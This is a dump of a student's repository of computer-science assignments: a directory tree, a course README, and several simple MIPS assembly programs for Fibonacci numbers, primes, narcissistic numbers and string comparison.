├── .gitignore ├── README.md ├── S4 ├── CO │ ├── MIPS │ │ └── Assignment_I │ │ │ ├── Final │ │ │ ├── q1.jpg │ │ │ ├── q2.jpg │ │ │ ├── q3.jpg │ │ │ ├── q4.jpg │ │ │ └── q5.jpg │ │ │ ├── Questions.txt │ │ │ ├── q1.s │ │ │ ├── q2.s │ │ │ ├── q3.s │ │ │ ├── q4.s │ │ │ └── q5.s │ └── NASM │ │ ├── Assignment_3 │ │ ├── 1 │ │ ├── 2 │ │ ├── 1.aos │ │ ├── 1.asm │ │ ├── 1.o │ │ ├── 2.aos │ │ ├── 2.asm │ │ ├── 2.o │ │ ├── 3.aos │ │ ├── 3.asm │ │ ├── 3.o │ │ ├── 4.aos │ │ ├── 4.asm │ │ ├── 4.o │ │ ├── 5.aos │ │ ├── 5.asm │ │ ├── 5.o │ │ ├── 6.aos │ │ ├── 6.asm │ │ ├── 6.o │ │ ├── 7.aos │ │ ├── 7.asm │ │ ├── 7.o │ │ ├── 8.aos │ │ ├── 8.asm │ │ ├── 8.o │ │ ├── 9.aos │ │ ├── 9.asm │ │ ├── 9.o │ │ ├── Assignment 3.pdf │ │ ├── Completed │ │ │ ├── ass3_q1.asm │ │ │ ├── ass3_q2.asm │ │ │ ├── ass3_q3.asm │ │ │ ├── ass3_q4.asm │ │ │ ├── ass3_q5.asm │ │ │ ├── ass3_q6.asm │ │ │ ├── ass3_q7.asm │ │ │ ├── ass3_q8.asm │ │ │ └── ass3_q9.asm │ │ ├── m │ │ ├── q7.aos │ │ ├── q7.asm │ │ ├── q7.o │ │ ├── selSort.asm │ │ └── temp.asm │ │ ├── Assignment_4 │ │ ├── .1.asm.swp │ │ ├── .float.asm.swp │ │ ├── 1.aos │ │ ├── 1.asm │ │ ├── 1.o │ │ ├── 10.aos │ │ ├── 10.asm │ │ ├── 10.o │ │ ├── 2.aos │ │ ├── 2.asm │ │ ├── 2.o │ │ ├── 3.aos │ │ ├── 3.asm │ │ ├── 3.o │ │ ├── 4.aos │ │ ├── 4.asm │ │ ├── 4.o │ │ ├── 5.aos │ │ ├── 5.asm │ │ ├── 5.o │ │ ├── 6.aos │ │ ├── 6.asm │ │ ├── 6.o │ │ ├── 7.aos │ │ ├── 7.asm │ │ ├── 7.o │ │ ├── 8.aos │ │ ├── 8.asm │ │ ├── 8.o │ │ ├── 9.aos │ │ ├── 9.asm │ │ ├── 9.o │ │ ├── Assignment 4.pdf │ │ ├── Completed │ │ │ ├── assg4_q1.asm │ │ │ ├── assg4_q2.asm │ │ │ ├── assg4_q3.asm │ │ │ ├── assg4_q4.asm │ │ │ ├── assg4_q5.asm │ │ │ ├── assg4_q6.asm │ │ │ ├── assg4_q7.asm │ │ │ ├── assg4_q8.asm │ │ │ └── assg4_q9.asm │ │ ├── NASM Tutorial.pdf │ │ ├── Prac │ │ │ ├── 1.aos │ │ │ ├── 1.asm │ │ │ ├── 1.o │ │ │ ├── 1_0.aos │ │ │ ├── 1_0.asm │ │ │ ├── 1_0.o │ │ │ ├── 2.aos │ │ │ ├── 2.asm │ │ │ ├── 2.o │ │ │ ├── 9.aos │ │ │ ├── 9.asm │ │ │ ├── 9.o │ │ │ └── temp.asm │ │ ├── float.aos │ │ ├── float.asm │ │ ├── float.o │ │ ├── int.asm │ │ ├── m │ │ ├── make │ │ ├── selSort.asm │ │ └── template.asm │ │ └── Assignment_5 │ │ ├── 1.aos │ │ ├── 1.asm │ │ ├── 1.o │ │ ├── 2.aos │ │ ├── 2.asm │ │ ├── 2.o │ │ ├── 3.aos │ │ ├── 3.asm │ │ ├── 3.o │ │ ├── 4.aos │ │ ├── 4.asm │ │ ├── 4.o │ │ ├── 5.aos │ │ ├── 5.asm │ │ ├── 5.o │ │ ├── 6.aos │ │ ├── 6.asm │ │ ├── 6.o │ │ ├── 7.aos │ │ ├── 7.asm │ │ ├── 7.o │ │ ├── 8.aos │ │ ├── 8.asm │ │ ├── 8.o │ │ ├── Assignment 5.pdf │ │ ├── Completed │ │ ├── assg5_q1.asm │ │ ├── assg5_q2.asm │ │ ├── assg5_q3.asm │ │ ├── assg5_q4.asm │ │ ├── assg5_q5.asm │ │ ├── assg5_q6.asm │ │ ├── assg5_q7.asm │ │ └── assg5_q8.asm │ │ └── make └── DSA │ ├── 2021 │ └── Assignment_1 │ │ ├── 1 │ │ ├── 2 │ │ ├── CS2094D_Assignment_1._Updated.pdf │ │ ├── assg1_1.c │ │ ├── assg1_2.c │ │ ├── i1 │ │ ├── i2 │ │ └── i2_2 │ ├── Assignment_2 │ ├── ASSG2_1.c │ ├── ASSG2_2.c │ ├── ASSG2_3.c │ ├── ASSG2_4.c │ ├── ASSG2_5.c │ ├── ASSG2_6.c │ ├── ASSG2_7.c │ └── ASSG2_8.c │ ├── Assignment_3 │ ├── ASSG3_1.c │ ├── ASSG3_2.c │ ├── ASSG3_3.c │ ├── ASSG3_4.c │ └── ASSG3_5.c │ └── Assignment_4 │ ├── ASSG4_q1.c │ ├── ASSG4_q2.c │ ├── ASSG4_q3.c │ ├── ASSG4_q4.c │ ├── Inputs │ ├── 1 │ │ ├── i1_1 │ │ └── i1_2 │ ├── 2 │ │ └── i2 │ ├── 3 │ │ └── i3_0 │ └── 4 │ │ ├── i4_0 │ │ ├── i4_1 │ │ ├── i4_2 │ │ └── i4_3 │ └── Intermediate │ ├── 1.aos │ ├── 2.aos │ ├── 3.aos │ ├── 4.aos │ ├── 4_0.aos │ ├── q1.c │ ├── q2.c │ ├── q3.c │ ├── q3_0.c │ ├── q3_1.c │ ├── q4.c │ └── q4_0.c ├── S5 ├── NTC │ ├── .ipynb_checkpoints │ │ ├── 5_6125137080839307602-checkpoint.ipynb │ │ ├── CHAPTER 2 - EUCLID STUFF-checkpoint.ipynb │ │ ├── DES-checkpoint.ipynb │ │ ├── FASTEXP-checkpoint.ipynb │ │ ├── Knap Sack-checkpoint.ipynb │ │ ├── Knapsack-checkpoint.ipynb │ │ ├── NTC-Copy1-checkpoint.ipynb │ │ ├── NTC-checkpoint.ipynb │ │ ├── RSA-checkpoint.ipynb │ │ ├── SHA1-checkpoint.ipynb │ │ ├── Untitled-checkpoint.ipynb │ │ └── matrix-checkpoint.ipynb │ ├── 5_6125137080839307602.ipynb │ ├── Assignment │ │ ├── Q1.Affine │ │ │ ├── .ipynb_checkpoints │ │ │ │ └── B180341CS_AJAY_1-checkpoint.ipynb │ │ │ ├── B180341CS_AJAY_1.ipynb │ │ │ └── dictionary.txt │ │ ├── Q2.Hill │ │ │ ├── .ipynb_checkpoints │ │ │ │ ├── B180341CS_AJAY_2-checkpoint.ipynb │ │ │ │ └── B180341CS_AJAY_3-checkpoint.ipynb │ │ │ ├── B180341CS_AJAY_2.ipynb │ │ │ └── dictionary.txt │ │ ├── Q3.Shift │ │ │ ├── .ipynb_checkpoints │ │ │ │ └── B180341CS_AJAY_3-checkpoint.ipynb │ │ │ ├── B180341CS_AJAY_3.ipynb │ │ │ └── dictionary.txt │ │ ├── Q4.Substitution │ │ │ ├── .ipynb_checkpoints │ │ │ │ └── B180341CS_AJAY_4-checkpoint.ipynb │ │ │ ├── B180341CS_AJAY_4.ipynb │ │ │ └── dictionary.txt │ │ ├── Q5.Transposition │ │ │ ├── .ipynb_checkpoints │ │ │ │ └── B180341CS_AJAY_5-checkpoint.ipynb │ │ │ ├── B180341CS_AJAY_5.ipynb │ │ │ └── dictionary.txt │ │ ├── Q6.Vigenere │ │ │ ├── .ipynb_checkpoints │ │ │ │ └── B180341CS_AJAY_6-checkpoint.ipynb │ │ │ ├── B180341CS_AJAY_6.ipynb │ │ │ └── dictionary.txt │ │ └── dictionary.txt │ ├── B180341CS_AJAY │ │ ├── B180341CS_AJAY.rar │ │ ├── B180341CS_AJAY_1.ipynb │ │ ├── B180341CS_AJAY_1_i.jpg │ │ ├── B180341CS_AJAY_1_ii.jpg │ │ ├── B180341CS_AJAY_2.ipynb │ │ ├── B180341CS_AJAY_2_i.jpg │ │ ├── B180341CS_AJAY_2_ii.jpg │ │ ├── B180341CS_AJAY_3.ipynb │ │ ├── B180341CS_AJAY_3_i.jpg │ │ ├── B180341CS_AJAY_3_ii.jpg │ │ ├── B180341CS_AJAY_4.ipynb │ │ ├── B180341CS_AJAY_4_i.jpg │ │ ├── B180341CS_AJAY_4_ii.jpg │ │ ├── B180341CS_AJAY_5.ipynb │ │ ├── B180341CS_AJAY_5_i.jpg │ │ ├── B180341CS_AJAY_5_ii.jpg │ │ ├── B180341CS_AJAY_6.ipynb │ │ ├── B180341CS_AJAY_6_i.jpg │ │ ├── B180341CS_AJAY_6_ii.jpg │ │ ├── B180341CS_AJAY_6_iii.jpg │ │ └── dictionary.txt │ ├── CHAPTER 2 - EUCLID STUFF.ipynb │ ├── DES.ipynb │ ├── FASTEXP.ipynb │ ├── Knap Sack.ipynb │ ├── Knapsack.ipynb │ ├── NTC-Copy1.ipynb │ ├── NTC.ipynb │ ├── RSA (1).ipynb │ ├── RSA.ipynb │ ├── SHA1.ipynb │ ├── Untitled.ipynb │ └── matrix.ipynb ├── OSTheory │ ├── Assignment_3 │ │ ├── Q1 │ │ │ ├── README.md │ │ │ ├── ci │ │ │ ├── q1.png │ │ │ ├── q1_CI.c │ │ │ ├── q1_ST.c │ │ │ ├── q1_TA.c │ │ │ ├── st │ │ │ └── ta │ │ ├── Q2 │ │ │ ├── README.md │ │ │ ├── a.out │ │ │ ├── input │ │ │ ├── q2.c │ │ │ └── q2.png │ │ └── Q3 │ │ │ ├── README.md │ │ │ ├── q3 │ │ │ ├── q3.c │ │ │ └── q3.png │ ├── CharacterDriver │ │ ├── Makefile │ │ ├── README.md │ │ ├── a.out │ │ ├── mouseController.c │ │ ├── setup.sh │ │ └── test.c │ └── PipeCommunication │ │ ├── Q1 │ │ ├── README.md │ │ ├── Screenshot from 2020-11-04 15-15-06.png │ │ ├── Screenshot from 2020-11-04 15-16-15.png │ │ ├── a.out │ │ ├── p1 │ │ ├── p2 │ │ ├── p3 │ │ ├── parentChild.c │ │ ├── process_1.c │ │ ├── process_2.c │ │ └── process_3.c │ │ └── Q2 │ │ ├── README.md │ │ ├── Screenshot from 2020-11-04 15-17-33.png │ │ ├── Screenshot from 2020-11-04 15-18-03.png │ │ ├── p1 │ │ ├── p2 │ │ ├── p3 │ │ ├── process_1.c │ │ ├── process_2.c │ │ └── process_3.c └── WebP │ ├── Assg2-WebServer │ ├── CS4042D Web Programming Assignment 1 Question Monsoon 2021.pdf │ ├── Readme.txt │ └── httpServer │ │ ├── .vscode │ │ └── settings.json │ │ ├── index.html │ │ ├── modify.html │ │ ├── page2.html │ │ └── server.py │ ├── Assg3_4_HTML │ ├── 1 Monsoon 2021.pdf │ ├── 2 Monsoon 2021.pdf │ └── Code │ │ ├── img │ │ └── image1.png │ │ ├── q1.html │ │ ├── q10.html │ │ ├── q11.html │ │ ├── q12.html │ │ ├── q13.html │ │ ├── q14.html │ │ ├── q15.html │ │ ├── q2.html │ │ ├── q3.html │ │ ├── q4.html │ │ ├── q5.html │ │ ├── q6.html │ │ ├── q7.html │ │ ├── q8.html │ │ └── q9.html │ ├── CSS_Exercise │ ├── css-exercise.docx │ ├── myPage.html │ └── myStyle.css │ ├── HTML_FORMS_EXERCISE │ ├── Code │ │ ├── img │ │ │ └── logo_nitc.png │ │ ├── left.html │ │ ├── main.html │ │ ├── right.html │ │ └── top.html │ └── EXERCISE MONSOON 2021.docx │ └── JavaScript_ClassroomASSG │ ├── Code │ ├── function.js │ └── index.html │ └── WebPQuestions.pdf ├── S6 └── IP-Lab │ ├── Assignment1 │ ├── images │ │ ├── Paolina.jpg │ │ ├── arctichare.jpg │ │ ├── barbara.jpg │ │ ├── boat.jpg │ │ ├── cameraman.jpg │ │ ├── cat.jpg │ │ ├── einstein.jpg │ │ ├── frog.jpg │ │ ├── fruits.jpg │ │ ├── goldhill.jpg │ │ ├── head.jpg │ │ ├── lenna.jpg │ │ ├── mandrill.jpg │ │ ├── monalisa.jpg │ │ └── peppers.jpg │ ├── main.ipynb │ └── output │ │ ├── image1.jpg │ │ ├── image10.jpg │ │ ├── image11.jpg │ │ ├── image12.jpg │ │ ├── image13.jpg │ │ ├── image14.jpg │ │ ├── image15.jpg │ │ ├── image2.jpg │ │ ├── image3.jpg │ │ ├── image4.jpg │ │ ├── image5.jpg │ │ ├── image6.jpg │ │ ├── image7.jpg │ │ ├── image8.jpg │ │ └── image9.jpg │ ├── Assignment2 │ └── Assign2.ipynb │ ├── B180363CS_Assign2 │ ├── q1.ipynb │ ├── q2.ipynb │ └── q3.ipynb │ └── README.md ├── S7 ├── AI │ ├── Assignment_1 │ │ ├── .gitignore │ │ ├── AI-Assignment1.pdf │ │ ├── Q1 │ │ │ ├── AI_Q1.pdf │ │ │ ├── Output_Q1.txt │ │ │ └── q1.py │ │ ├── Q2 │ │ │ ├── AI_Q2.pdf │ │ │ ├── Output_Q2.txt │ │ │ └── q2.py │ │ └── q2_temp.py │ └── Assignment_2 │ │ ├── .gitignore │ │ ├── AI_A2_Q1.ipynb │ │ ├── AI_A2_Q2.ipynb │ │ ├── AI_A2_Q3.ipynb │ │ ├── AI_A2_Q4.ipynb │ │ ├── Submission │ │ ├── Q1 │ │ │ └── AI_A2_Q1.ipynb │ │ ├── Q2 │ │ │ └── AI_A2_Q2.ipynb │ │ ├── Q3 │ │ │ └── AI_A2_Q3.ipynb │ │ └── Q4 │ │ │ └── AI_A2_Q4.ipynb │ │ ├── poetry.lock │ │ ├── pyproject.toml │ │ ├── q1.py │ │ ├── q2.py │ │ ├── q3.py │ │ └── q4.py ├── CS Lab │ ├── Assignment_2 │ │ ├── BufferOverflowLab_CSL_2021_22.pdf │ │ ├── New file │ │ ├── Submission │ │ │ ├── q1.c │ │ │ ├── q1_direct.c │ │ │ ├── q2.c │ │ │ ├── q2_direct.c │ │ │ ├── q3.c │ │ │ └── q3_direct.c │ │ ├── a.out │ │ ├── code.asm │ │ ├── data │ │ ├── data.c │ │ ├── example1 │ │ ├── example1.c │ │ ├── example1.s │ │ ├── example2 │ │ ├── example2.c │ │ ├── example2.s │ │ ├── example3 │ │ ├── example3.c │ │ ├── example3.c~ │ │ ├── example3.s │ │ ├── exit │ │ ├── exit.c │ │ ├── foo │ │ ├── foo.c │ │ ├── foo.c~ │ │ ├── make │ │ ├── nShellCode │ │ ├── newFile.c │ │ ├── ntemp │ │ ├── ntemp~ │ │ ├── pgm │ │ ├── pgm.c │ │ ├── q2 │ │ ├── q2.c │ │ ├── q2.c~ │ │ ├── q2_temp │ │ ├── q2_temp.c │ │ ├── q2_temp.c~ │ │ ├── q3 │ │ ├── q3.c │ │ ├── q3.c~ │ │ ├── q3_temp │ │ ├── q3_temp.c │ │ ├── q3_temp.c~ │ │ ├── shellcode │ │ ├── shellcode.c │ │ ├── shellcode.c~ │ │ ├── shellcodeasm │ │ ├── shellcodeasm.c │ │ ├── shellcodeasm.c~ │ │ ├── shellcodeasm_2 │ │ ├── shellcodeasm_2.c │ │ ├── shellcodeasm_2.c~ │ │ ├── temp │ │ ├── temp.c │ │ ├── testsc │ │ ├── testsc.c │ │ └── testsc.c~ │ ├── Assignment_3 │ │ ├── BruteForce │ │ │ ├── 1000-most-common-passwords.txt │ │ │ ├── easy.py │ │ │ ├── high.py │ │ │ ├── medium.py │ │ │ └── passwords.txt │ │ ├── CSP Bypass │ │ │ └── solutions.txt │ │ ├── CSRF │ │ │ ├── high.html │ │ │ ├── low.html │ │ │ └── solutions.txt │ │ ├── CommandInjection │ │ │ └── solutions.txt │ │ ├── FileInclusion │ │ │ ├── shell.php │ │ │ └── solutions.tx │ │ ├── FileUpload │ │ │ ├── simple_shell_h.jpg │ │ │ ├── simple_shell_h.php │ │ │ ├── simple_shell_l.php │ │ │ └── simple_shell_m.php │ │ ├── Insecure Captcha │ │ │ └── solutions.txt │ │ ├── ModSecurity │ │ │ └── detection.txt │ │ ├── OWASP__CSL_2021_22_.pdf │ │ ├── PHPIDS │ │ │ └── detection.txt │ │ ├── SQL Injection Blind │ │ │ ├── .gitignore │ │ │ └── solutions.txt │ │ ├── SQL Injection │ │ │ └── solutions.txt │ │ ├── Weak Session IDs │ │ │ ├── solutions.txt │ │ │ └── temp.py │ │ ├── XSS(DOM) │ │ │ └── solutions.txt │ │ ├── XSS(Reflected) │ │ │ └── solutions.txt │ │ └── XSS(Stored) │ │ │ └── solutions.txt │ ├── Assignment_4 │ │ ├── Assignment_IV.pdf │ │ ├── FTP │ │ │ ├── linux.txt │ │ │ └── windows.txt │ │ ├── HTTP │ │ │ ├── linux.txt │ │ │ └── windows.txt │ │ ├── Metasploit │ │ │ ├── javarmi.txt │ │ │ └── samba.txt │ │ └── SSH │ │ │ ├── linux.txt │ │ │ ├── names.txt │ │ │ ├── pass.txt │ │ │ └── windows.txt │ ├── Assignment_5 │ │ ├── Assignment_V_NGFW_CSL_2021_22.pdf │ │ ├── auth_error.html │ │ ├── logout.html │ │ ├── portal.html │ │ ├── temp.html │ │ └── temp.txt │ └── Assignment_6 │ │ └── Assignment_VI_IDS_IPS_CSL_2021_22.pdf ├── ML │ ├── .gitignore │ └── Assignment_1 │ │ ├── MLAssignment1.pdf │ │ ├── Q1 │ │ ├── ML_A1_Q1.pdf │ │ └── q1.py │ │ ├── Q2 │ │ ├── ML_A1_Q2.pdf │ │ ├── Question2.py │ │ ├── q2.a.py │ │ ├── q2.b.py │ │ ├── q2.c.py │ │ ├── q2.d.py │ │ ├── q2.e.py │ │ └── q2.f.py │ │ └── __pycache__ │ │ └── Question2.cpython-39.pyc └── WebP │ └── Exercise1.md └── S8 ├── Cloud ├── client.py ├── clusterClient.py ├── loadBalancer.py ├── monitor.py ├── server.py ├── t1.py ├── t2.py ├── temp.py └── vm-server.service └── IIS ├── .gitignore ├── Assignment_IIS_II.pdf ├── DS_ECC.cpp ├── DS_ElGamal.cpp ├── DS_RSA.cpp ├── Done ├── DS_ECC.cpp ├── DS_ElGamal.cpp ├── DS_RSA.cpp ├── ECC.cpp ├── ECC.h ├── ElGamal_1024.cpp ├── ElGamal_512.cpp ├── RSA_1024.cpp ├── RSA_512.cpp └── crypto.h ├── ECC.cpp ├── ECC.h ├── ElGamal.cpp ├── Final ├── DS_ECC.cpp ├── DS_ElGamal.cpp ├── DS_RSA.cpp ├── ECC.cpp ├── ECC.h ├── ElGamal_1024.cpp ├── ElGamal_512.cpp ├── RSA_1024.cpp ├── crypto.h └── q1_a.cpp ├── Makefile ├── RSA.cpp ├── Submission ├── B180341CS_AJAY_Assig2.md ├── B180341CS_AJAY_Assig2.pdf ├── B180341CS_Prog1.cpp ├── B180341CS_Prog2.cpp ├── B180341CS_Prog3.cpp ├── B180341CS_Prog4.cpp ├── B180341CS_Prog5.cpp ├── B180341CS_Prog6.cpp ├── Makefile ├── Screenshots │ ├── DS_ECC.jpg │ ├── DS_ElGamal.jpg │ ├── DS_RSA.jpg │ ├── ECC.jpg │ ├── ElGamal.jpg │ └── RSA.jpg ├── Template.md ├── Template.pdf ├── output.md └── submission.py ├── crypto.h ├── t.cpp ├── temp.cpp └── test.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | *.zip 2 | .ipynb_checkpoints -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### All Assignments of Computer Science Dept 2 | 3 | > ## [Semester 4](S4) 4 | > 5 | > [Computer Organisation](S4/CO) 6 | > 7 | > [Data Structures and Algorithms](S4/DSA) 8 | 9 | > ## [Semester 5](S5) 10 | > 11 | > [NTC](S5/NTC) 12 | > 13 | > [Operating System Theory](S5/OSTheory) 14 | > 15 | > [Web Programming](S5/WebP) 16 | 17 | > ## [Semester 6](S6) 18 | > 19 | > [Image Processing](S6/IP-Lab) 20 | 21 | > ## [Semester 7](S7) 22 | > 23 | > [Web Programming](S7/WebP) 24 | > 25 | > [Computer Security](S7/CS%20Lab) 26 | > 27 | > [Artifical Intelligence](S7/AI) 28 | > 29 | > [Machine Learning](S7/ML) 30 | 31 | > ## [Semester 8](S8) 32 | > 33 | > [Intro to Information Security](S8/IIS) 34 | > 35 | > [Cloud Computing](S8/Cloud) 36 | > 37 | -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/MIPS/Assignment_I/Final/q1.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/MIPS/Assignment_I/Final/q2.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/MIPS/Assignment_I/Final/q3.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/MIPS/Assignment_I/Final/q4.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Final/q5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/MIPS/Assignment_I/Final/q5.jpg -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Questions.txt: -------------------------------------------------------------------------------- 1 | 1. Write a program print Fibonacci numbers up to a range. 2 | 2. write program to read 2 numbers and print all prime numbers between them. 3 | 3. Write a program to a read number and check it is narcistic number or not 4 | 4. Write a program to read 2 strings and compare them (strcmp) 5 | 5. Write a program to read 2 strings and do substring matching and report the first occurrence index. 6 | 7 | Zip all the 5 .s programs and the screenshot file together, name it as your name and upload it to this link. -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q1.s: -------------------------------------------------------------------------------- 1 | # $t6 - i - before previous 2 | # $t7 - j - previous 3 | # $s7 - k - current 4 | # $s6 - N 5 | 6 | .globl main 7 | 8 | .text 9 | 10 | main : 11 | li $t6, 0 12 | li $t7, 1 13 | li $s7, 0 14 | 15 | li $v0, 4 16 | la $a0, text 17 | syscall 18 | 19 | # Getting user input 20 | li $v0, 5 21 | syscall 22 | 23 | move $s6, $v0 # N 24 | 25 | loop : 26 | # If current < N jump to exit 27 | slt $s1,$s7,$s6 28 | beqz $s1,exit 29 | 30 | # Print number 31 | li $v0, 1 32 | move $a0, $s7 33 | syscall 34 | jal print_space 35 | 36 | move $t6, $t7 # i = j 37 | move $t7, $s7 # j = k 38 | add $s7,$t7,$t6 # k = i + j 39 | j loop 40 | 41 | print_space : 42 | li $v0, 4 43 | la $a0, spc 44 | syscall 45 | jr $ra 46 | 47 | print_nl : 48 | li $v0, 4 49 | la $a0, nl 50 | syscall 51 | jr $ra 52 | 53 | exit : 54 | jal print_nl 55 | li $v0, 10 56 | syscall 57 | 58 | .data 59 | text: .asciiz "Enter end : " 60 | spc: .asciiz " " 61 | nl: .asciiz "\n" -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q2.s: -------------------------------------------------------------------------------- 1 | # $t6 - i - before previous 2 | # $t7 - j - previous 3 | # $s7 - k - current 4 | # $s5 - a 5 | # $s6 - b 6 | 7 | .globl main 8 | 9 | .text 10 | 11 | main : 12 | li $t6, 0 13 | li $t7, 1 14 | li $s7, 0 15 | 16 | # Print Prompt a 17 | li $v0, 4 18 | la $a0, prompt_a 19 | syscall 20 | 21 | # Read a 22 | li $v0, 5 23 | syscall 24 | move $s5, $v0 25 | 26 | # Print Prompt b 27 | li $v0, 4 28 | la $a0, prompt_b 29 | syscall 30 | 31 | # Read b 32 | li $v0, 5 33 | syscall 34 | move $s6, $v0 35 | 36 | loop : 37 | bgt $s5, $s6, exit_loop # if $s5 > $s6 38 | move $a0, $s5 39 | jal prime_check 40 | beqz $v1, loop_cont 41 | # Print Number 42 | li $v0, 1 43 | move $a0, $s5 44 | syscall 45 | jal print_space 46 | loop_cont : 47 | addi $s5, $s5 ,1 48 | j loop 49 | exit_loop : 50 | j exit 51 | 52 | prime_check : 53 | li $v1, 0 # Prime Flag 54 | li $t0, 2 # i = 2 55 | blt $a0, $t0, exit_prime_check 56 | div $a0, $t0 # N/2 57 | mflo $t1 # t1 = N / 2 58 | prime_check_loop : 59 | bgt $t0, $t1, prime 60 | div $a0, $t0 # N / i 61 | mfhi $t3 # $t3 = N % i 62 | beqz $t3 , exit_prime_check 63 | addi $t0, $t0, 1 # i += 1 64 | j prime_check_loop 65 | prime : 66 | li $v1, 1 67 | exit_prime_check : 68 | addi $sp,$sp,16 69 | jr $ra 70 | 71 | print_space : 72 | li $v0, 4 73 | la $a0, spc 74 | syscall 75 | jr $ra 76 | 77 | print_nl : 78 | li $v0, 4 79 | la $a0, nl 80 | syscall 81 | jr $ra 82 | 83 | exit : 84 | jal print_nl 85 | li $v0, 10 86 | syscall 87 | 88 | .data 89 | prompt_a: .asciiz "Enter Start : " 90 | prompt_b: .asciiz "Enter End : " 91 | spc: .asciiz " " 92 | nl: .asciiz "\n" -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q3.s: -------------------------------------------------------------------------------- 1 | # $t6 - i - before previous 2 | # $t7 - j - previous 3 | # $s7 - k - current 4 | # $s5 - a 5 | # $s6 - b 6 | 7 | .globl main 8 | 9 | .text 10 | 11 | main : 12 | # Print Prompt a 13 | li $v0, 4 14 | la $a0, prompt_a 15 | syscall 16 | 17 | # Read a 18 | li $v0, 5 19 | syscall 20 | move $s5, $v0 21 | move $s6, $v0 22 | 23 | li $t7 , 10 24 | 25 | li $t6, 0 # Digit Count = 0 26 | 27 | get_digits : 28 | beqz $s5 ,get_narc_sum 29 | 30 | div $s5,$t7 31 | mflo $s5 32 | mfhi $t3 33 | 34 | addi $t6, $t6, 1 # Digit Count += 1 35 | addi $sp, $sp, -4 # Push Digit 36 | sw $t3, 0($sp) 37 | 38 | j get_digits 39 | 40 | get_narc_sum : 41 | move $t5, $t6 42 | li $s0, 0 43 | narcLoop : 44 | beqz $t5, exit_sum 45 | addi $t5, -1 46 | move $t4, $t6 47 | 48 | lw $t3, 0($sp) 49 | addi $sp, $sp, 4 50 | 51 | move $a0, $t3 52 | move $a1, $t6 53 | jal power 54 | 55 | add $s0, $s0, $v1 56 | 57 | j narcLoop 58 | 59 | exit_sum : 60 | beq $s6,$s0,pyes 61 | j pno 62 | 63 | power : 64 | li $v1, 1 65 | move $t4, $a1 66 | powLoop : 67 | beqz $t4, retPower 68 | addi $t4, -1 69 | mult $v1, $a0 70 | mflo $v1 71 | j powLoop 72 | retPower : 73 | jr $ra 74 | 75 | pyes : 76 | li $v0, 4 77 | la $a0, yes 78 | syscall 79 | 80 | j exit 81 | 82 | pno : 83 | li $v0, 4 84 | la $a0, no 85 | syscall 86 | 87 | j exit 88 | 89 | print_space : 90 | li $v0, 4 91 | la $a0, spc 92 | syscall 93 | jr $ra 94 | 95 | print_nl : 96 | li $v0, 4 97 | la $a0, nl 98 | syscall 99 | jr $ra 100 | 101 | exit : 102 | jal print_nl 103 | li $v0, 10 104 | syscall 105 | 106 | .data 107 | prompt_a: .asciiz "Enter a : " 108 | yes: .asciiz "YES\n" 109 | no: .asciiz "NO\n" 110 | spc: .asciiz " " 111 | nl: .asciiz "\n" -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q4.s: -------------------------------------------------------------------------------- 1 | .globl main 2 | 3 | .text 4 | 5 | main : 6 | li $v0, 4 7 | la $a0, psa 8 | syscall 9 | 10 | li $v0, 8 11 | la $a0, string_a 12 | syscall 13 | 14 | li $v0, 4 15 | la $a0, psb 16 | syscall 17 | 18 | li $v0, 8 19 | la $a0, string_b 20 | syscall 21 | 22 | la $a0, string_a 23 | la $a1, string_b 24 | jal strcmp 25 | 26 | beqz $v1, Yes 27 | 28 | No : 29 | li $v0, 4 30 | la $a0, no 31 | syscall 32 | j exit 33 | 34 | Yes : 35 | li $v0, 4 36 | la $a0, yes 37 | syscall 38 | j exit 39 | 40 | strcmp : 41 | li $v1, 1 42 | li $t0, 0 43 | li $t1, 0 44 | li $t2, 0 45 | move $t3, $a0 46 | move $t4, $a1 47 | cmp_loop : 48 | lb $t1, 0($a0) 49 | lb $t2, 0($a1) 50 | bne $t1, $t2 , exit_strcmp 51 | beqz $t1, equal 52 | addi $a0, $a0, 1 53 | addi $a1, $a1, 1 54 | j cmp_loop 55 | equal : 56 | li $v1, 0 57 | exit_strcmp : 58 | jr $ra 59 | 60 | print_space : 61 | li $v0, 4 62 | la $a0, spc 63 | syscall 64 | jr $ra 65 | 66 | print_nl : 67 | li $v0, 4 68 | la $a0, nl 69 | syscall 70 | jr $ra 71 | 72 | exit : 73 | jal print_nl 74 | li $v0, 10 75 | syscall 76 | 77 | .data 78 | psa: .asciiz "Enter String 1 : " 79 | psb: .asciiz "Enter String 2 : " 80 | yes: .asciiz "EQUAL\n" 81 | no: .asciiz "NOT EQUAL\n" 82 | spc: .asciiz " " 83 | nl: .asciiz "\n" 84 | string_a: .space 256 85 | string_b: .space 256 -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/1.o: -------------------------------------------------------------------------------- 